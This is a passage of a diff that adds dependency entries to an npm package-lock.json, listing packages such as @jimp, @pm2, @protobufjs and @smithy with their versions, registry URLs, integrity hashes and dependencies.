">=0.3.5" + } + }, + "node_modules/@jimp/tiff": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/tiff/-/tiff-0.16.13.tgz", + "integrity": "sha512-oJY8d9u95SwW00VPHuCNxPap6Q1+E/xM5QThb9Hu+P6EGuu6lIeLaNBMmFZyblwFbwrH+WBOZlvIzDhi4Dm/6Q==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "utif": "^2.0.1" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/types": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/types/-/types-0.16.13.tgz", + "integrity": "sha512-mC0yVNUobFDjoYLg4hoUwzMKgNlxynzwt3cDXzumGvRJ7Kb8qQGOWJQjQFo5OxmGExqzPphkirdbBF88RVLBCg==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/bmp": "^0.16.13", + "@jimp/gif": "^0.16.13", + "@jimp/jpeg": "^0.16.13", + "@jimp/png": "^0.16.13", + "@jimp/tiff": "^0.16.13", + "timm": "^1.6.1" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/utils": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/utils/-/utils-0.16.13.tgz", + "integrity": "sha512-VyCpkZzFTHXtKgVO35iKN0sYR10psGpV6SkcSeV4oF7eSYlR8Bl6aQLCzVeFjvESF7mxTmIiI3/XrMobVrtxDA==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "regenerator-runtime": "^0.13.3" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.1.tgz", + "integrity": "sha512-dSYZh7HhCDtCKm4QakX0xFpsRDqjjtZf/kjI/v3T3Nwt5r8/qz/M19F9ySyOqU94SXBmeG9ttTul+YnR4LOxFA==", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.15", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.9", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz", + "integrity": "sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==", + "dependencies": { + "@jridgewell/resolve-uri": "^3.0.3", + "@jridgewell/sourcemap-codec": "^1.4.10" + } + }, + "node_modules/@mongodb-js/saslprep": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@mongodb-js/saslprep/-/saslprep-1.1.0.tgz", + "integrity": "sha512-Xfijy7HvfzzqiOAhAepF4SGN5e9leLkMvg/OPOF97XemjfVCYN/oWa75wnkc6mltMSTwY+XlbhWgUOJmkFspSw==", + "optional": true, + "dependencies": { + "sparse-bitfield": "^3.0.3" + } + }, + "node_modules/@opencensus/core": { + "version": "0.0.9", + "resolved": "https://registry.npmjs.org/@opencensus/core/-/core-0.0.9.tgz", + "integrity": "sha512-31Q4VWtbzXpVUd2m9JS6HEaPjlKvNMOiF7lWKNmXF84yUcgfAFL5re7/hjDmdyQbOp32oGc+RFV78jXIldVz6Q==", + "dependencies": { + "continuation-local-storage": "^3.2.1", + "log-driver": "^1.2.7", + "semver": "^5.5.0", + "shimmer": "^1.2.0", + "uuid": "^3.2.1" + }, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/@opencensus/core/node_modules/uuid": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", + "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.", + "bin": { + "uuid": "bin/uuid" + } + }, + "node_modules/@opencensus/propagation-b3": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/@opencensus/propagation-b3/-/propagation-b3-0.0.8.tgz", + "integrity": "sha512-PffXX2AL8Sh0VHQ52jJC4u3T0H6wDK6N/4bg7xh4ngMYOIi13aR1kzVvX1sVDBgfGwDOkMbl4c54Xm3tlPx/+A==", + "dependencies": { + "@opencensus/core": "^0.0.8", + "uuid": "^3.2.1" + }, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/@opencensus/propagation-b3/node_modules/@opencensus/core": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/@opencensus/core/-/core-0.0.8.tgz", + "integrity": "sha512-yUFT59SFhGMYQgX0PhoTR0LBff2BEhPrD9io1jWfF/VDbakRfs6Pq60rjv0Z7iaTav5gQlttJCX2+VPxFWCuoQ==", + "dependencies": { + "continuation-local-storage": "^3.2.1", + "log-driver": "^1.2.7", + "semver": "^5.5.0", + "shimmer": "^1.2.0", + "uuid": "^3.2.1" + }, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/@opencensus/propagation-b3/node_modules/uuid": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", + "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.", + "bin": { + "uuid": "bin/uuid" + } + }, + "node_modules/@pm2/agent": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@pm2/agent/-/agent-2.0.3.tgz", + "integrity": "sha512-xkqqCoTf5VsciMqN0vb9jthW7olVAi4KRFNddCc7ZkeJZ3i8QwZANr4NSH2H5DvseRFHq7MiPspRY/EWAFWWTg==", + "dependencies": { + "async": "~3.2.0", + "chalk": "~3.0.0", + "dayjs": "~1.8.24", + "debug": "~4.3.1", + "eventemitter2": "~5.0.1", + "fast-json-patch": "^3.0.0-1", + "fclone": "~1.0.11", + "nssocket": "0.6.0", + "pm2-axon": "~4.0.1", + "pm2-axon-rpc": "~0.7.0", + "proxy-agent": "~6.3.0", + "semver": "~7.5.0", + "ws": "~7.4.0" + } + }, + "node_modules/@pm2/agent/node_modules/chalk": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", + "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@pm2/agent/node_modules/dayjs": { + "version": "1.8.36", + "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.8.36.tgz", + "integrity": "sha512-3VmRXEtw7RZKAf+4Tv1Ym9AGeo8r8+CjDi26x+7SYQil1UqtqdaokhzoEJohqlzt0m5kacJSDhJQkG/LWhpRBw==" + }, + "node_modules/@pm2/agent/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@pm2/agent/node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@pm2/agent/node_modules/ws": { + "version": "7.4.6", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.4.6.tgz", + "integrity": "sha512-YmhHDO4MzaDLB+M9ym/mDA5z0naX8j7SIlT8f8z+I0VtzsRbekxEutHSme7NPS2qE8StCYQNUnfWdXta/Yu85A==", + "engines": { + "node": ">=8.3.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/@pm2/io": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/@pm2/io/-/io-5.0.2.tgz", + "integrity": "sha512-XAvrNoQPKOyO/jJyCu8jPhLzlyp35MEf7w/carHXmWKddPzeNOFSEpSEqMzPDawsvpxbE+i918cNN+MwgVsStA==", + "dependencies": { + "@opencensus/core": "0.0.9", + "@opencensus/propagation-b3": "0.0.8", + "async": "~2.6.1", + "debug": "~4.3.1", + "eventemitter2": "^6.3.1", + "require-in-the-middle": "^5.0.0", + "semver": "~7.5.4", + "shimmer": "^1.2.0", + "signal-exit": "^3.0.3", + "tslib": "1.9.3" + }, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/@pm2/io/node_modules/async": { + "version": "2.6.4", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.4.tgz", + "integrity": "sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==", + "dependencies": { + "lodash": "^4.17.14" + } + }, + "node_modules/@pm2/io/node_modules/eventemitter2": { + "version": "6.4.9", + "resolved": "https://registry.npmjs.org/eventemitter2/-/eventemitter2-6.4.9.tgz", + "integrity": "sha512-JEPTiaOt9f04oa6NOkc4aH+nVp5I3wEjpHbIPqfgCdD5v5bUzy7xQqwcVO2aDQgOWhI28da57HksMrzK9HlRxg==" + }, + "node_modules/@pm2/io/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@pm2/io/node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@pm2/io/node_modules/tslib": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.9.3.tgz", + "integrity": "sha512-4krF8scpejhaOgqzBEcGM7yDIEfi0/8+8zDRZhNZZ2kjmHJ4hv3zCbQWxoJGz1iw5U0Jl0nma13xzHXcncMavQ==" + }, + "node_modules/@pm2/js-api": { + "version": "0.6.7", + "resolved": "https://registry.npmjs.org/@pm2/js-api/-/js-api-0.6.7.tgz", + "integrity": "sha512-jiJUhbdsK+5C4zhPZNnyA3wRI01dEc6a2GhcQ9qI38DyIk+S+C8iC3fGjcjUbt/viLYKPjlAaE+hcT2/JMQPXw==", + "dependencies": { + "async": "^2.6.3", + "axios": "^0.21.0", + "debug": "~4.3.1", + "eventemitter2": "^6.3.1", + "ws": "^7.0.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/@pm2/js-api/node_modules/async": { + "version": "2.6.4", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.4.tgz", + "integrity": "sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==", + "dependencies": { + "lodash": "^4.17.14" + } + }, + "node_modules/@pm2/js-api/node_modules/axios": { + "version": "0.21.4", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.4.tgz", + "integrity": "sha512-ut5vewkiu8jjGBdqpM44XxjuCjq9LAKeHVmoVfHVzy8eHgxxq8SbAVQNovDA8mVi05kP0Ea/n/UzcSHcTJQfNg==", + "dependencies": { + "follow-redirects": "^1.14.0" + } + }, + "node_modules/@pm2/js-api/node_modules/eventemitter2": { + "version": "6.4.9", + "resolved": "https://registry.npmjs.org/eventemitter2/-/eventemitter2-6.4.9.tgz", + "integrity": "sha512-JEPTiaOt9f04oa6NOkc4aH+nVp5I3wEjpHbIPqfgCdD5v5bUzy7xQqwcVO2aDQgOWhI28da57HksMrzK9HlRxg==" + }, + "node_modules/@pm2/js-api/node_modules/ws": { + "version": "7.5.9", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz", + "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==", + "engines": { + "node": ">=8.3.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/@pm2/pm2-version-check": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@pm2/pm2-version-check/-/pm2-version-check-1.0.4.tgz", + "integrity": "sha512-SXsM27SGH3yTWKc2fKR4SYNxsmnvuBQ9dd6QHtEWmiZ/VqaOYPAIlS8+vMcn27YLtAEBGvNRSh3TPNvtjZgfqA==", + "dependencies": { + "debug": "^4.3.1" + } + }, + "node_modules/@protobufjs/aspromise": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/aspromise/-/aspromise-1.1.2.tgz", + "integrity": "sha512-j+gKExEuLmKwvz3OgROXtrJ2UG2x8Ch2YZUxahh+s1F2HZ+wAceUNLkvy6zKCPVRkU++ZWQrdxsUeQXmcg4uoQ==" + }, + "node_modules/@protobufjs/base64": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/base64/-/base64-1.1.2.tgz", + "integrity": "sha512-AZkcAA5vnN/v4PDqKyMR5lx7hZttPDgClv83E//FMNhR2TMcLUhfRUBHCmSl0oi9zMgDDqRUJkSxO3wm85+XLg==" + }, + "node_modules/@protobufjs/codegen": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@protobufjs/codegen/-/codegen-2.0.4.tgz", + "integrity": "sha512-YyFaikqM5sH0ziFZCN3xDC7zeGaB/d0IUb9CATugHWbd1FRFwWwt4ld4OYMPWu5a3Xe01mGAULCdqhMlPl29Jg==" + }, + "node_modules/@protobufjs/eventemitter": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/eventemitter/-/eventemitter-1.1.0.tgz", + "integrity": "sha512-j9ednRT81vYJ9OfVuXG6ERSTdEL1xVsNgqpkxMsbIabzSo3goCjDIveeGv5d03om39ML71RdmrGNjG5SReBP/Q==" + }, + "node_modules/@protobufjs/fetch": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/fetch/-/fetch-1.1.0.tgz", + "integrity": "sha512-lljVXpqXebpsijW71PZaCYeIcE5on1w5DlQy5WH6GLbFryLUrBD4932W/E2BSpfRJWseIL4v/KPgBFxDOIdKpQ==", + "dependencies": { + "@protobufjs/aspromise": "^1.1.1", + "@protobufjs/inquire": "^1.1.0" + } + }, + "node_modules/@protobufjs/float": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@protobufjs/float/-/float-1.0.2.tgz", + "integrity": "sha512-Ddb+kVXlXst9d+R9PfTIxh1EdNkgoRe5tOX6t01f1lYWOvJnSPDBlG241QLzcyPdoNTsblLUdujGSE4RzrTZGQ==" + }, + "node_modules/@protobufjs/inquire": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/inquire/-/inquire-1.1.0.tgz", + "integrity": "sha512-kdSefcPdruJiFMVSbn801t4vFK7KB/5gd2fYvrxhuJYg8ILrmn9SKSX2tZdV6V+ksulWqS7aXjBcRXl3wHoD9Q==" + }, + "node_modules/@protobufjs/path": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/path/-/path-1.1.2.tgz", + "integrity": "sha512-6JOcJ5Tm08dOHAbdR3GrvP+yUUfkjG5ePsHYczMFLq3ZmMkAD98cDgcT2iA1lJ9NVwFd4tH/iSSoe44YWkltEA==" + }, + "node_modules/@protobufjs/pool": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/pool/-/pool-1.1.0.tgz", + "integrity": "sha512-0kELaGSIDBKvcgS4zkjz1PeddatrjYcmMWOlAuAPwAeccUrPHdUqo/J6LiymHHEiJT5NrF1UVwxY14f+fy4WQw==" + }, + "node_modules/@protobufjs/utf8": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/utf8/-/utf8-1.1.0.tgz", + "integrity": "sha512-Vvn3zZrhQZkkBE8LSuW3em98c0FwgO4nxzv6OdSxPKJIEKY2bGbHn+mhGIPerzI4twdxaP8/0+06HBpwf345Lw==" + }, + "node_modules/@saipulanuar/jadianime-ts": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@saipulanuar/jadianime-ts/-/jadianime-ts-2.0.0.tgz", + "integrity": "sha512-JI4LEUupw1wQaansczDtfyO1gqqSzRV3cgtRIbvWkttOdv4224LZARoHvhxFStNmEoXQUln7Ai/Mjh86F+Xy1A==", + "dependencies": { + "async-retry": "^1.3.3", + "axios": "^1.2.1", + "https-proxy-agent": "^5.0.1", + "md5": "^2.3.0", + "multer": "^1.4.5-lts.1", + "node-base64-image": "^2.0.4", + "socks-proxy-agent": "^7.0.0", + "ts-node": "^10.9.1", + "uuid": "^9.0.0" + } + }, + "node_modules/@saipulanuar/jadianime-ts/node_modules/axios": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.4.0.tgz", + "integrity": "sha512-S4XCWMEmzvo64T9GfvQDOXgYRDJ/wsSZc7Jvdgx5u1sd0JwsuPLqb3SYmusag+edF6ziyMensPVqLTSc1PiSEA==", + "dependencies": { + "follow-redirects": "^1.15.0", + "form-data": "^4.0.0", + "proxy-from-env": "^1.1.0" + } + }, + "node_modules/@sindresorhus/is": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.6.0.tgz", + "integrity": "sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/is?sponsor=1" + } + }, + "node_modules/@smithy/abort-controller": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@smithy/abort-controller/-/abort-controller-2.0.6.tgz", + "integrity": "sha512-4I7g0lyGUlW2onf8mD76IzU37oRWSHsQ5zlW5MjDzgg4I4J9bOK4500Gx6qOuoN7+GulAnGLe1YwyrIluzhakg==", + "optional": true, + "dependencies": { + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/config-resolver": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@smithy/config-resolver/-/config-resolver-2.0.7.tgz", + "integrity": "sha512-J4J1AWiqaApC+3I9U++SuxAQ3BOoM5VoYnpFzCZcb63aLF80Zpc/nq2pFR1OsEIYyg2UYNdcBKKfHABmwo4WgQ==", + "optional": true, + "dependencies": { + "@smithy/node-config-provider": "^2.0.9", + "@smithy/types": "^2.3.0", + "@smithy/util-config-provider": "^2.0.0", + "@smithy/util-middleware": "^2.0.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/credential-provider-imds": { + "version": "2.0.9", + "resolved": "https://registry.npmjs.org/@smithy/credential-provider-imds/-/credential-provider-imds-2.0.9.tgz", + "integrity": "sha512-K7WZRkHS5HZofRgK+O8W4YXXyaVexU1K6hp9vlUL/8CsnrFbZS9quyH/6hTROrYh2PuJr24yii1kc83NJdxMGQ==", + "optional": true, + "dependencies": { + "@smithy/node-config-provider": "^2.0.9", + "@smithy/property-provider": "^2.0.7", + "@smithy/types": "^2.3.0", + "@smithy/url-parser": "^2.0.6", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/eventstream-codec": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@smithy/eventstream-codec/-/eventstream-codec-2.0.6.tgz", + "integrity": "sha512-J9xL82mlYRUMXFnB9VaThXkD7z2JLr52FIVZMoQQ1dxZG5ub+NOGmzaTTZC/cMmKXI/nwCoFuwDWCTjwQhYhQA==", + "optional": true, + "dependencies": { + "@aws-crypto/crc32": "3.0.0", + "@smithy/types": "^2.3.0", + "@smithy/util-hex-encoding": "^2.0.0", + "tslib": "^2.5.0" + } + }, + "node_modules/@smithy/fetch-http-handler": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@smithy/fetch-http-handler/-/fetch-http-handler-2.1.2.tgz", + "integrity": "sha512-3Gm3pQm4viUPU+e7KkRScS9t5phBxSNRS8rQSZ+HeCwK/busrX0/2HJZiwLvGblqPqi1laJB0lD18AdiOioJww==", + "optional": true, + "dependencies": { + "@smithy/protocol-http": "^3.0.2", + "@smithy/querystring-builder": "^2.0.6", + "@smithy/types": "^2.3.0", + "@smithy/util-base64": "^2.0.0", + "tslib": "^2.5.0" + } + }, + "node_modules/@smithy/hash-node": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@smithy/hash-node/-/hash-node-2.0.6.tgz", + "integrity": "sha512-xz7fzFxSzxohKGGyKPbLReRrY01JOZgRDHIXSks3PxQxG9c8PJMa5nUw0stH8UOySUgkofmMy0n7vTUsF5Mdqg==", + "optional": true, + "dependencies": { + "@smithy/types": "^2.3.0", + "@smithy/util-buffer-from": "^2.0.0", + "@smithy/util-utf8": "^2.0.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/invalid-dependency": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@smithy/invalid-dependency/-/invalid-dependency-2.0.6.tgz", + "integrity": "sha512-L5MUyl9mzawIvBxr0Hg3J/Q5qZFXKcBgMk0PacfK3Mthp4WAR6h7iMxdSQ23Q7X/kxOrpZuoYEdh1BWLKbDc8Q==", + "optional": true, + "dependencies": { + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + } + }, + "node_modules/@smithy/is-array-buffer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-2.0.0.tgz", + "integrity": "sha512-z3PjFjMyZNI98JFRJi/U0nGoLWMSJlDjAW4QUX2WNZLas5C0CmVV6LJ01JI0k90l7FvpmixjWxPFmENSClQ7ug==", + "optional": true, + "dependencies": { + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/middleware-content-length": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/@smithy/middleware-content-length/-/middleware-content-length-2.0.8.tgz", + "integrity": "sha512-fHJFsscHXrYhUSWMFJNXfsZW8KsyhWQfBgU3b0nvDfpm+NAeQLqKYNhywGrDwZQc1k+lt7Fw9faAquhNPxTZRA==", + "optional": true, + "dependencies": { + "@smithy/protocol-http": "^3.0.2", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/middleware-endpoint": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@smithy/middleware-endpoint/-/middleware-endpoint-2.0.6.tgz", + "integrity": "sha512-MuSPPtEHFal/M77tR3ffLsdOfX29IZpA990nGuoPj5zQnAYrA4PYBGoqqrASQKm8Xb3C0NwuYzOATT7WX4f5Pg==", + "optional": true, + "dependencies": { + "@smithy/middleware-serde": "^2.0.6", + "@smithy/types": "^2.3.0", + "@smithy/url-parser": "^2.0.6", + "@smithy/util-middleware": "^2.0.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/middleware-retry": { + "version": "2.0.9", + "resolved": "https://registry.npmjs.org/@smithy/middleware-retry/-/middleware-retry-2.0.9.tgz", + "integrity": "sha512-gneEqWj4l/ZjHdZPk0BFMXoTalRArdQ8i579/KqJgBAc6Ux5vnR/SSppkMCkj2kOQYwdypvzSPeqEW3ZrvIg6g==", + "optional": true, + "dependencies": { + "@smithy/node-config-provider": "^2.0.9", + "@smithy/protocol-http": "^3.0.2", + "@smithy/service-error-classification": "^2.0.0", + "@smithy/types": "^2.3.0", + "@smithy/util-middleware": "^2.0.0", + "@smithy/util-retry": "^2.0.0", + "tslib": "^2.5.0", + "uuid": "^8.3.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/middleware-retry/node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "optional": true, + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/@smithy/middleware-serde": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@smithy/middleware-serde/-/middleware-serde-2.0.6.tgz", + "integrity": "sha512-8/GODBngYbrS28CMZtaHIL4R9rLNSQ/zgb+N1OAZ02NwBUawlnLDcatve9YRzhJC/IWz0/pt+WimJZaO1sGcig==", + "optional": true, + "dependencies": { + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/middleware-stack": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@smithy/middleware-stack/-/middleware-stack-2.0.0.tgz", + "integrity": "sha512-31XC1xNF65nlbc16yuh3wwTudmqs6qy4EseQUGF8A/p2m/5wdd/cnXJqpniy/XvXVwkHPz/GwV36HqzHtIKATQ==", + "optional": true, + "dependencies": { + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/node-config-provider": { + "version": "2.0.9", + "resolved": "https://registry.npmjs.org/@smithy/node-config-provider/-/node-config-provider-2.0.9.tgz", + "integrity": "sha512-TlSPbCwtT/jgNnmPQqKuCR5CFN8UIrCCHRrgUfs3NqRMuaLLeP8TPe1fSKq2J8h1M/jd4BF853gneles0gWevg==", + "optional": true, + "dependencies": { + "@smithy/property-provider": "^2.0.7", + "@smithy/shared-ini-file-loader": "^2.0.8", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/node-http-handler": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-2.1.2.tgz", + "integrity": "sha512-PdEEDCShuM8zxGoaRxmGB/1ikB8oeqz+ZAF9VIA8FCP3E59j8zDTF+wCELoWd1Y6gtxr+RcTAg5sA8nvn5qH/w==", + "optional": true, + "dependencies": { + "@smithy/abort-controller": "^2.0.6", + "@smithy/protocol-http": "^3.0.2", + "@smithy/querystring-builder": "^2.0.6", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/property-provider": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@smithy/property-provider/-/property-provider-2.0.7.tgz", + "integrity": "sha512-XT8Tl7YNxM8tCtGqy7v7DSf6PxyXaPE9cdA/Yj4dEw2b05V3RrPqsP+t5XJiZu0yIsQ7pdeYZWv2sSEWVjNeAg==", + "optional": true, + "dependencies": { + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/protocol-http": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@smithy/protocol-http/-/protocol-http-3.0.2.tgz", + "integrity": "sha512-LUOWCPRihvJBkdSs+ivK9m1f/rMfF3n9Zpzg8qdry2eIG4HQqqLBMWQyF9bgk7JhsrrOa3//jJKhXzvL7wL5Xw==", + "optional": true, + "dependencies": { + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/querystring-builder": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@smithy/querystring-builder/-/querystring-builder-2.0.6.tgz", + "integrity": "sha512-HnU00shCGoV8vKJZTiNBkNvR9NogU3NIUaVMAGJPSqNGJj3psWo+TUrC0BVCDcwiCljXwXCFGJqIcsWtClrktQ==", + "optional": true, + "dependencies": { + "@smithy/types": "^2.3.0", + "@smithy/util-uri-escape": "^2.0.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" 